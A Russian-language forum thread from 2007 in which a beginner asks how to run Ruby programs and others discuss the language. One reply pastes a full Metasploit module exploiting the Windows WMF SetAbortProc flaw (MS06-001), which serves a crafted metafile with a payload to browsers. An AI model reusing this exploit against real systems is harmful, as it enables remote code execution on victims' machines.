язык программирования Ruby

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by max_rebel, 26 Dec 2007.

  1. max_rebel

    max_rebel Elder - Старейшина

    Joined:
    18 Oct 2007
    Messages:
    460
    Likes Received:
    31
    Reputations:
    0
    Всем привет,я пока ламер,но начал учить язык RUBY - если есть кто-нибудь ещё кто о таком слышал,то подскажите как запустить программу ***.rb (расширение RUBY) =(
     
    1 person likes this.
  2. __mad

    __mad Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    100
    Likes Received:
    38
    Reputations:
    7
    ruby *.rb
     
  3. emik

    emik Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    57
    Likes Received:
    18
    Reputations:
    2
    Вот что я нашел на Викепедии...
    Зайди _http://ru.wikibooks.org/wiki/Ruby#.D0.9D.D0.B0.D1.87.D0.B0.D0.BB.D0.BE_.D1.80.D0.B0.D0.B1.D0.BE.D1.82.D1.8B и посмотри сам, очень много интересного.
     
    #3 emik, 27 Dec 2007
    Last edited: 27 Dec 2007
    3 people like this.
  4. max_rebel

    max_rebel Elder - Старейшина

    Joined:
    18 Oct 2007
    Messages:
    460
    Likes Received:
    31
    Reputations:
    0
    не правильно задал вопрос,сорри. Я имел ввиду можно ли запустить **.rb как обычную прогу ехе? Потомучто если двойным щелчком rb запустить то появляется консоль и тутже исчезает=(Но если через консоль запускать то работает.У меня пока первые программки они только консольные,типа привет как тебя зовут.
     
  5. max_rebel

    max_rebel Elder - Старейшина

    Joined:
    18 Oct 2007
    Messages:
    460
    Likes Received:
    31
    Reputations:
    0
    emik

    Чтото я невнимательно викиучебник видимо прочитал=)
     
  6. Shawn1x

    Shawn1x Elder - Старейшина

    Joined:
    24 Aug 2007
    Messages:
    307
    Likes Received:
    536
    Reputations:
    13
    Зачем тебе этот язык? Он сейчас не востребован, я про него первый раз слышу...
    Бери лучше учебники по си или Дельфи и учи их
     
  7. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Эксплоиты для Metasploit Framework 3.0 пишутся на Ruby, как exe запустить нельзя, так как нужен сам интерпретатор, а компилятора имхо нет...
     
  8. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Shawn1x , ты решил что он невостребован только потому что ты первый раз о нём слышишь?
     
    1 person likes this.
  9. Shawn1x

    Shawn1x Elder - Старейшина

    Joined:
    24 Aug 2007
    Messages:
    307
    Likes Received:
    536
    Reputations:
    13
    Да, ибо я не видел ни одной программы на данном языке
     
  10. Forcer

    Forcer Elder - Старейшина

    Joined:
    12 Apr 2007
    Messages:
    321
    Likes Received:
    98
    Reputations:
    12
    Shawn1x
    мда...видишь кролика? а он есть!
     
  11. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Ну вот тогда глянь к примеру:
    PHP:
    require 'msf/core'

    module Msf

    class Exploits::Windows::Browser::MS06_001_WMF_SETABORTPROC Msf::Exploit::Remote

        
    #
        # This module acts as an HTTP server
        #
        
    include Exploit::Remote::HttpServer

        def initialize
    (info = {})
            
    super(update_info(info,
                
    'Name'           => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution',
                
    'Description'    => %q{
                    
    This module exploits a vulnerability in the GDI library included with
                    Windows XP 
    and 2003. This vulnerability uses the 'Escape' metafile function
                    
    to execute arbitrary code through the SetAbortProc procedureThis module
                    generates a random WMF record stream 
    for each request.
                },
                
    'License'        => MSF_LICENSE,
                
    'Author'         => 
                    [ 
                        
    'hdm'
                        
    'san <[email protected]>',
                        
    '[email protected]',
                    ],
                
    'Version'        => '$Revision: 3906 $',
                
    'References'     => 
                    [
                        [
    'MSB''MS06-001'],
                          [
    'BID''16074'],
                        [
    'CVE''2005-4560'],
                          [
    'OSVDB''21987'],
                        [
    'MIL''111'],
                        [
    'URL''http://www.microsoft.com/technet/security/advisory/912840.mspx'],                    
                        [
    'URL''http://wvware.sourceforge.net/caolan/ora-wmf.html'],
                        [
    'URL''http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
                    ],
                
    'DefaultOptions' =>
                    {
                        
    'EXITFUNC' => 'thread',
                    },
                
    'Payload'        =>
                    {
                        
    'Space'    => 1000 + (rand(256).to_i 4),
                        
    'BadChars' => "\x00",
                        
    'Compat'   => 
                            {
                                
    'ConnectionType' => '-find',
                            },
                        
    'StackAdjustment' => -3500,
                    },
                
    'Platform'       => 'win',
                
    'Targets'        =>
                    [
                        [ 
    'Windows XP/2003/Vista Automatic', { }],
                    ],
                
    'DisclosureDate' => 'Dec 27 2005',
                
    'DefaultTarget'  => 0))
        
    end

        def autofilter
            false
        end
        
        def check_dependencies
            use_zlib
        end

        def on_request_uri
    (clirequest)
        
        
            
    ext 'wmf'
        
            
    if (not request.uri.match(/\.wmf$/i))
                
    html =
                    
    "<html><meta http-equiv='refresh' content='0; URL=" +
                    
    get_resource '/' 
                    
    Rex::Text.rand_text_alphanumeric(rand(80)+16) + 
                    
    ".#{ext}'><body>One second please...</body></html>"
                
    send_response(clihtml)
                return
            
    end

            
    # Re-generate the payload
            
    return if ((regenerate_payload(cli)) == nil)

            
    print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

            
    # Transmit the compressed response to the client
            
    send_response(cligenerate_metafile(p), { 'Content-Type' => 'text/plain' })
            
            
    handler(cli)
        
    end
        
        def generate_metafile
    (payload)
            
            
    # Minimal length values before and after the Escape record
            
    pre_mlen 1440 rand(8192)
            
    suf_mlen 128  rand(8192)
            
            
    # Track the number of generated records
            
    fill 0
            
            
    # The prefix and suffix buffers
            
    pre_buff ''
            
    suf_buff ''
            
            
    # Generate the prefix
            
    while (pre_buff.length pre_mlen
                
    pre_buff << generate_record()
                
    fill += 1
            end
            
            
    # Generate the suffix
            
    while (suf_buff.length suf_mlen
                
    suf_buff << generate_record()
                
    fill += 1
            end
            
            clen 
    18 payload.encoded.length pre_buff.length suf_buff.length
            data 
    =
                
    #
                # WindowsMetaHeader
                #
                
    [
                    
    # WORD  FileType;       /* Type of metafile (1=memory, 2=disk) */
                    
    rand(2)+1,
                    
    # WORD  HeaderSize;     /* Size of header in WORDS (always 9) */
                    
    9,
                    
    # WORD  Version;        /* Version of Microsoft Windows used */
                    
    rand(2).to_i == 0x0300 0x0100 ),
                    
    # DWORD FileSize;       /* Total size of the metafile in WORDs */
                    
    clen/2,
                    
    # WORD  NumOfObjects;   /* Number of objects in the file */
                    
    rand(0xffff),
                    
    # DWORD MaxRecordSize;  /* The size of largest record in WORDs */
                    
    rand(0xffffffff),
                    
    # WORD  NumOfParams;    /* Not Used (always 0) */
                    
    rand(0xffff),
                ].
    pack('vvvVvVv') +
                
    #
                # Filler data
                #
                
    pre_buff +
                
    #
                # StandardMetaRecord - Escape()
                #
                
    [
                    
    # DWORD Size;          /* Total size of the record in WORDs */
                    
    4,
                    
    # WORD  Function;      /* Function number (defined in WINDOWS.H) */
                    
    (rand(256).to_i << 8) + 0x26,
                    
    # WORD  Parameters[];  /* Parameter values passed to function */
                    
    9,            
                ].
    pack('Vvv') + payload.encoded +
                
    #
                # Filler data
                #
                
    suf_buff +
                
    #
                # Complete the stream
                #
                
    [30].pack('Vv') +
                
    #
                # Some extra fun padding
                #
                
    Rex::Text.rand_text(rand(16384)+1024)
            
            return 
    data
            
        end
        
        def generate_record
            type 
    rand(3)
            
            case 
    type
                when 0
                    
    # CreatePenIndirect
                    
    return [80x02fa].pack('Vv') + Rex::Text.rand_text(10)
                
    when 1
                    
    # CreateBrushIndirect
                    
    return [70x02fc].pack('Vv') + Rex::Text.rand_text(8)            
                else
                    
    # Rectangle
                    
    return [70x041b].pack('Vv') + Rex::Text.rand_text(8)
            
    end
        end


    end

    end 
     
  12. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    Этот язык, активно развивается и очень часто встречается в *nix подобных ОС.
     
    1 person likes this.
  13. Neovild

    Neovild Elder - Старейшина

    Joined:
    18 Dec 2007
    Messages:
    28
    Likes Received:
    22
    Reputations:
    0
    http://www.opennet.ru/base/dev/ruby_quickstart.txt.html
    "Для установки в Windows достаточно скачать один из вариантов Ruby с http://ftp.ruby-lang.org/pub/ruby/binaries/ можно- mswin32/ruby-1.8.1-20040402-i386-mswin32.zip). Распаковать и проставить правильно пути к директориям. Можно также воспользоваться пакетом автоматической установки RubyInstaller (http://rubyforge.org/projects/rubyinstaller). Определить правильность установки поможет команда C:\>ruby --help"
    (c) Неткачев​

    Сам знаю, что язык хорош для написания эксплоитов. Интерпретируемый язык, типы переменных как в пхп, объектно-ориентированная парадигма. Не кодил на нем, но слышал хорошие отзывы.
     
  14. Loker

    Loker Elder - Старейшина

    Joined:
    25 Oct 2007
    Messages:
    46
    Likes Received:
    23
    Reputations:
    5
    Я тоже 1 раз слышу о таком языке))) Надо поподробнее рассмотреть, может он окажеться очень полезным)
     
  15. ртуть

    ртуть Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    314
    Likes Received:
    389
    Reputations:
    29
    превед, ламер! похвально твоё увлечение... встречала интересные скрипты на рубине ) данный скриптовый язык, насколько я знаю, популярен в среде маков ) на нем где-то видела даже вирусы )
     
    1 person likes this.
  16. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    он и на линухе очень популярен )
     
    1 person likes this.
  17. Jes

    Jes Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    370
    Likes Received:
    391
    Reputations:
    34
    [​IMG] Paranoid :)
     
  18. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    Руби, сильная штука :) щас пишу на нем и да простят меня господа пхп-шники, Ruby On Rails - рулит...
    Все доводы по поводу скорости интерпретатора, уже не актуальны, руби 2.0 уже компилируется в байт код как и Питон и Ява.
    самый крупный известный мне проект на RoR - www.dandelife.com
     
  19. ртуть

    ртуть Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    314
    Likes Received:
    389
    Reputations:
    29
    в байт код кстати и перл тоже можно загнать ) это так к сведению )) хотя читала по версии 5.6 что функция ByteCode тестится.... хз как по 5.8 ...
     
    3 people like this.
  20. jnick

    jnick New Member

    Joined:
    27 Dec 2007
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    например в паскале чтоб консольная прога не закрывалась сразуже в конце проги пишут Readln тобиш просит прочитать символ и после нажатия ентер прга закрываеться. Если в рубу есть такая функция то добавь в конец программы и да будет тебе щастя :)
     
    1 person likes this.